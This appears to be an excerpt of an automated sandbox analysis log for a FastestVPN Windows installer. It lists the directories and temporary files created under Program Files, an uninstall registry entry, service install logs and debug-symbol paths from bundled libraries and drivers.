    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDirectory created: C:\Program Files\FastestVPN\is-JUGN8.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDirectory created: C:\Program Files\FastestVPN\is-QN6B0.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDirectory created: C:\Program Files\FastestVPN\is-ERPH0.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDirectory created: C:\Program Files\FastestVPN\is-DC4V4.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDirectory created: C:\Program Files\FastestVPN\is-6KVN1.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDirectory created: C:\Program Files\FastestVPN\is-FDL4T.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDirectory created: C:\Program Files\FastestVPN\is-P5MPD.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDirectory created: C:\Program Files\FastestVPN\is-P4NC5.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDirectory created: C:\Program Files\FastestVPN\is-DLS79.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDirectory created: C:\Program Files\FastestVPN\is-EV611.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDirectory created: C:\Program Files\FastestVPN\is-29MT4.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDirectory created: C:\Program Files\FastestVPN\is-IDIHR.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDirectory created: C:\Program Files\FastestVPN\is-3T92M.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDirectory created: C:\Program Files\FastestVPN\is-9AV56.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDirectory created: C:\Program Files\FastestVPN\is-21GOU.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDirectory created: C:\Program Files\FastestVPN\is-FS0VU.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDirectory created: C:\Program Files\FastestVPN\is-GTIO3.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDirectory created: C:\Program Files\FastestVPN\is-BJMR4.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDirectory created: C:\Program Files\FastestVPN\is-LSBTJ.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDirectory created: C:\Program Files\FastestVPN\is-950A5.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDirectory created: C:\Program Files\FastestVPN\is-OB5A6.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDirectory created: C:\Program Files\FastestVPN\is-2Q1GI.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDirectory created: C:\Program Files\FastestVPN\is-T36FQ.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDirectory created: C:\Program Files\FastestVPN\is-9HV88.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDirectory created: C:\Program Files\FastestVPN\is-L52FN.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDirectory created: C:\Program Files\FastestVPN\is-Q7VN9.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDirectory created: C:\Program Files\FastestVPN\is-UHR8C.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDirectory created: C:\Program Files\FastestVPN\is-IURM0.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDirectory created: C:\Program Files\FastestVPN\is-6ANJF.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDirectory created: C:\Program Files\FastestVPN\is-GTC50.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDirectory created: C:\Program Files\FastestVPN\is-1L7K0.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDirectory created: C:\Program Files\FastestVPN\is-0H0J5.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDirectory created: C:\Program Files\FastestVPN\is-QEJK5.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDirectory created: C:\Program Files\FastestVPN\ResourcesJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDirectory created: C:\Program Files\FastestVPN\Resources\is-9D9JG.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDirectory created: C:\Program Files\FastestVPN\Resources\is-BUHJE.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDirectory created: C:\Program Files\FastestVPN\Resources\is-0N43E.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDirectory created: C:\Program Files\FastestVPN\Resources\is-FLT4I.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDirectory created: C:\Program Files\FastestVPN\Resources\is-VSH0G.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDirectory created: C:\Program Files\FastestVPN\Resources\is-SRDRF.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDirectory created: C:\Program Files\FastestVPN\Resources\is-625EJ.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDirectory created: C:\Program Files\FastestVPN\Resources\is-5L8BD.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDirectory created: C:\Program Files\FastestVPN\Resources\is-PGVDP.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDirectory created: C:\Program Files\FastestVPN\Resources\is-935KR.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDirectory created: C:\Program Files\FastestVPN\Resources\is-M7B0D.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDirectory created: C:\Program Files\FastestVPN\Resources\is-6QD3F.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDirectory created: C:\Program Files\FastestVPN\Resources\is-92412.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDirectory created: C:\Program Files\FastestVPN\Resources\is-V8SS9.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDirectory created: C:\Program Files\FastestVPN\Resources\is-6R08K.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDirectory created: C:\Program Files\FastestVPN\Resources\is-MISRG.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDirectory created: C:\Program Files\FastestVPN\Resources\is-BQE44.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDirectory created: C:\Program Files\FastestVPN\Resources\is-72O2I.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDirectory created: C:\Program Files\FastestVPN\Resources\is-VKJQU.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDirectory created: C:\Program Files\FastestVPN\Resources\is-PVOM6.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDirectory created: C:\Program Files\FastestVPN\Resources\is-APR4M.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDirectory created: C:\Program Files\FastestVPN\Resources\dataJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDirectory created: C:\Program Files\FastestVPN\Resources\data\is-KM2CD.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDirectory created: C:\Program Files\FastestVPN\Resources\data\is-1BLF6.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDirectory created: C:\Program Files\FastestVPN\Resources\data\is-O67AC.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDirectory created: C:\Program Files\FastestVPN\Resources\data\is-J94KH.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDirectory created: C:\Program Files\FastestVPN\Resources\driverJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDirectory created: C:\Program Files\FastestVPN\Resources\driver\is-HOJII.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDirectory created: C:\Program Files\FastestVPN\Resources\driver\is-OTK12.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDirectory created: C:\Program Files\FastestVPN\Resources\driver\windowsJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDirectory created: C:\Program Files\FastestVPN\Resources\driver\windows\amd64Jump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDirectory created: C:\Program Files\FastestVPN\Resources\driver\windows\amd64\is-ODB2O.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDirectory created: C:\Program Files\FastestVPN\Resources\driver\windows\amd64\is-2EE9C.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDirectory created: C:\Program Files\FastestVPN\Resources\driver\windows\amd64\is-5MM1Q.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDirectory created: C:\Program Files\FastestVPN\Resources\driver\windows\amd64\is-ECRGA.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDirectory created: C:\Program Files\FastestVPN\Resources\driver\windows\amd64\is-AONU2.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDirectory created: C:\Program Files\FastestVPN\Resources\driver\windows\amd64\is-7IJT0.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDirectory created: C:\Program Files\FastestVPN\Resources\driver\windows\i386Jump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDirectory created: C:\Program Files\FastestVPN\Resources\driver\windows\i386\is-EECQT.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDirectory created: C:\Program Files\FastestVPN\Resources\driver\windows\i386\is-78J0N.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDirectory created: C:\Program Files\FastestVPN\Resources\driver\windows\i386\is-HG9F3.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDirectory created: C:\Program Files\FastestVPN\Resources\driver\windows\i386\is-87ND4.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDirectory created: C:\Program Files\FastestVPN\Resources\driver\windows\i386\is-3FPII.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDirectory created: C:\Program Files\FastestVPN\Resources\driver\windows\i386\is-RDQQ1.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDirectory created: C:\Program Files\FastestVPN\Resources\driver\windows10Jump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDirectory created: C:\Program Files\FastestVPN\Resources\driver\windows10\amd64Jump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDirectory created: C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\is-84OSI.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDirectory created: C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\is-Q0ERH.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDirectory created: C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\is-4I2HI.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDirectory created: C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\is-4HA7V.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDirectory created: C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\is-E1J18.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDirectory created: C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\is-D8IDU.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDirectory created: C:\Program Files\FastestVPN\Resources\driver\windows10\i386Jump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDirectory created: C:\Program Files\FastestVPN\Resources\driver\windows10\i386\is-TDOKK.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDirectory created: C:\Program Files\FastestVPN\Resources\driver\windows10\i386\is-N2DQ9.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDirectory created: C:\Program Files\FastestVPN\Resources\driver\windows10\i386\is-1REBS.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDirectory created: C:\Program Files\FastestVPN\Resources\driver\windows10\i386\is-CEAE4.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDirectory created: C:\Program Files\FastestVPN\Resources\driver\windows10\i386\is-GBTCG.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDirectory created: C:\Program Files\FastestVPN\Resources\driver\windows10\i386\is-SN54O.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDirectory created: C:\Program Files\FastestVPN\Resources\spJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDirectory created: C:\Program Files\FastestVPN\Resources\sp\is-3C0V7.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDirectory created: C:\Program Files\FastestVPN\Resources\sp\is-RCT9Q.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDirectory created: C:\Program Files\FastestVPN\Resources\sp\driverJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDirectory created: C:\Program Files\FastestVPN\Resources\sp\driver\windows7Jump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDirectory created: C:\Program Files\FastestVPN\Resources\sp\driver\windows7\amd64Jump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDirectory created: C:\Program Files\FastestVPN\Resources\sp\driver\windows7\amd64\is-0Q8U0.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDirectory created: C:\Program Files\FastestVPN\Resources\sp\driver\windows7\i386Jump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDirectory created: C:\Program Files\FastestVPN\Resources\sp\driver\windows7\i386\is-FH0V4.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDirectory created: C:\Program Files\FastestVPN\Resources\sp\driver\windows8Jump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDirectory created: C:\Program Files\FastestVPN\Resources\sp\driver\windows8\amd64Jump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDirectory created: C:\Program Files\FastestVPN\Resources\sp\driver\windows8\amd64\is-PAMI1.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDirectory created: C:\Program Files\FastestVPN\Resources\sp\driver\windows8\i386Jump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDirectory created: C:\Program Files\FastestVPN\Resources\sp\driver\windows8\i386\is-A7TIP.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDirectory created: C:\Program Files\FastestVPN\Resources\sp\releaseJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDirectory created: C:\Program Files\FastestVPN\Resources\sp\release\is-VKG1P.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDirectory created: C:\Program Files\FastestVPN\Resources\sp\release\is-TB154.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDirectory created: C:\Program Files\FastestVPN\ServiceJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDirectory created: C:\Program Files\FastestVPN\Service\is-0I6F0.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDirectory created: C:\Program Files\FastestVPN\Service\is-N7NUO.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDirectory created: C:\Program Files\FastestVPN\Service\is-2IA4L.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDirectory created: C:\Program Files\FastestVPN\Service\is-30IMG.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDirectory created: C:\Program Files\FastestVPN\Service\is-I39KV.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDirectory created: C:\Program Files\FastestVPN\Service\is-3717G.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDirectory created: C:\Program Files\FastestVPN\Service\is-OAN7C.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDirectory created: C:\Program Files\FastestVPN\Service\is-MTDN1.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDirectory created: C:\Program Files\FastestVPN\Service\is-LKGMK.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDirectory created: C:\Program Files\FastestVPN\Service\is-414AO.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDirectory created: C:\Program Files\FastestVPN\Service\is-IS5UL.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDirectory created: C:\Program Files\FastestVPN\Service\is-26JEF.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDirectory created: C:\Program Files\FastestVPN\Service\is-TUPQN.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDirectory created: C:\Program Files\FastestVPN\Service\is-8HGA9.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDirectory created: C:\Program Files\FastestVPN\Service\is-99PJ9.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDirectory created: C:\Program Files\FastestVPN\Service\is-GCC8H.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDirectory created: C:\Program Files\FastestVPN\Service\is-KN6S1.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDirectory created: C:\Program Files\FastestVPN\Service\is-9K6BQ.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDirectory created: C:\Program Files\FastestVPN\Service\is-QTG1V.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDirectory created: C:\Program Files\FastestVPN\Service\is-4L5KV.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDirectory created: C:\Program Files\FastestVPN\Service\is-35J99.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDirectory created: C:\Program Files\FastestVPN\Service\is-BN7P3.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDirectory created: C:\Program Files\FastestVPN\Service\is-4V7RF.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDirectory created: C:\Program Files\FastestVPN\Service\is-CHG7I.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDirectory created: C:\Program Files\FastestVPN\is-D8A58.tmpJump to behavior
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeDirectory created: C:\Program Files\FastestVPN\Service\InstallUtil.InstallLog
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeDirectory created: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.InstallLog
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeDirectory created: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.InstallState
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpRegistry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\FastestVPN_is1Jump to behavior
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeFile created: C:\Program Files\FastestVPN\Service\InstallUtil.InstallLog
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeFile created: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.InstallLog
    Source: mapMd1URzq.exeStatic PE information: certificate valid
    Source: mapMd1URzq.exeStatic PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
    Source: Binary string: System.Configuration.Install.pdb source: FastestVPN.WindowsService.exe, 00000020.00000002.2558583628.0000000002D16000.00000004.00000800.00020000.00000000.sdmp
    Source: Binary string: C:\Users\vagrant\buildbot\windows-server-2019-static-msbuild\vcpkg\buildtrees\openssl\x64-windows-ovpn-rel\libssl-1_1-x64.pdb source: is-SRDRF.tmp.2.dr
    Source: Binary string: D:\a\SQLitePCL.raw\SQLitePCL.raw\SQLitePCL.raw\src\SQLitePCLRaw.core\obj\Release\netstandard2.0\SQLitePCLRaw.core.pdb source: FastestVPN.exe, FastestVPN.exe, 00000024.00000002.3433577336.000000000C272000.00000002.00000001.01000000.00000040.sdmp, FastestVPN.exe, 00000024.00000002.3416931571.00000000065C0000.00000004.00000020.00020000.00000000.sdmp
    Source: Binary string: NetSetupuser.pdb source: service.0.etl.18.dr
    Source: Binary string: C:\Users\samuli\source\repos\tap-windows6\devcon\x64\Release\devcon.pdb source: tapinstall.exe, 0000000C.00000000.2438094003.00007FF7FEE24000.00000002.00000001.01000000.00000008.sdmp, tapinstall.exe, 0000000C.00000002.2441290988.00007FF7FEE24000.00000002.00000001.01000000.00000008.sdmp, tapinstall.exe, 0000000D.00000000.2444210302.00007FF7FEE24000.00000002.00000001.01000000.00000008.sdmp, tapinstall.exe, 0000000D.00000002.2500947412.00007FF7FEE24000.00000002.00000001.01000000.00000008.sdmp, is-AONU2.tmp.2.dr
    Source: Binary string: C:\BuildAgent\work\da2c3d9512902c54\Tooling\obj\Release\System.Web.Cors\System.Web.Cors.pdb source: FastestVPN.WindowsService.exe, FastestVPN.WindowsService.exe, 0000002D.00000002.3401615848.0000000004382000.00000002.00000001.01000000.0000002A.sdmp
    Source: Binary string: D:\Sagar Work FastestVPN\FastestVPN-Windows-App\FastestVPN.WindowsService\obj\Release\FastestVPN.WindowsService.pdbe\FastestVPN.WindowsServic source: FastestVPN.WindowsService.exe, 00000020.00000002.2556460790.0000000000D39000.00000004.00000010.00020000.00000000.sdmp
    Source: Binary string: D:\VPN core\FastestVPN-Windows-Core\VPN\obj\Debug\VPN.pdbB3\3 N3_CorDllMainmscoree.dll source: FastestVPN.WindowsService.exe, 0000002D.00000002.3403405146.0000000004452000.00000002.00000001.01000000.0000002D.sdmp, is-6ANJF.tmp.2.dr
    Source: Binary string: D:\VPN core\FastestVPN-Windows-Core\VPN.Common\obj\Debug\VPN.Common.pdb source: mapMd1URzq.tmp, 00000002.00000002.2678202060.000000000018D000.00000004.00000010.00020000.00000000.sdmp, FastestVPN.WindowsService.exe, FastestVPN.WindowsService.exe, 00000020.00000002.2559462590.0000000005592000.00000002.00000001.01000000.0000000F.sdmp
    Source: Binary string: D:\a\SQLitePCL.raw\SQLitePCL.raw\SQLitePCL.raw\src\SQLitePCLRaw.provider.dynamic_cdecl\obj\Release\netstandard2.0\SQLitePCLRaw.provider.dynamic_cdecl.pdb source: FastestVPN.exe, FastestVPN.exe, 00000024.00000002.3433728992.000000000C292000.00000002.00000001.01000000.00000041.sdmp
    Source: Binary string: /_/artifacts/obj/Microsoft.AspNet.SignalR.Core/Release/net45/Microsoft.AspNet.SignalR.Core.pdbSHA256Z source: FastestVPN.WindowsService.exe, 00000020.00000002.2559534052.00000000055F2000.00000002.00000001.01000000.0000000E.sdmp, FastestVPN.WindowsService.exe, 0000002D.00000002.3390712104.000000000178C000.00000004.00000800.00020000.00000000.sdmp, FastestVPN.WindowsService.exe, 0000002D.00000002.3385698629.00000000010AC000.00000004.00000020.00020000.00000000.sdmp
    Source: Binary string: c:\users\samuli\opt\tap-windows6-mattock\tapinstall\7600\objfre_wlh_amd64\amd64\tapinstall.pdb source: is-BQE44.tmp.2.dr
    Source: Binary string: Microsoft.Owin.Cors.pdbSHA256 source: FastestVPN.WindowsService.exe, 0000002D.00000002.3400922074.0000000004362000.00000002.00000001.01000000.00000028.sdmp
    Source: Binary string: symbols\exe\FastestVPN.WindowsService.pdb source: FastestVPN.WindowsService.exe, 00000020.00000002.2556460790.0000000000D39000.00000004.00000010.00020000.00000000.sdmp
    Source: Binary string: E:\nt\dnsrv\sdktools\reskit\content\subinacl\source\obj\i386\subinacl.pdb source: subinacl.exe, subinacl.exe, 00000028.00000000.2587126067.0000000001001000.00000020.00000001.01000000.00000021.sdmp, subinacl.exe, 00000028.00000002.2593130502.0000000001001000.00000020.00000001.01000000.00000021.sdmp, is-KN6S1.tmp.2.dr
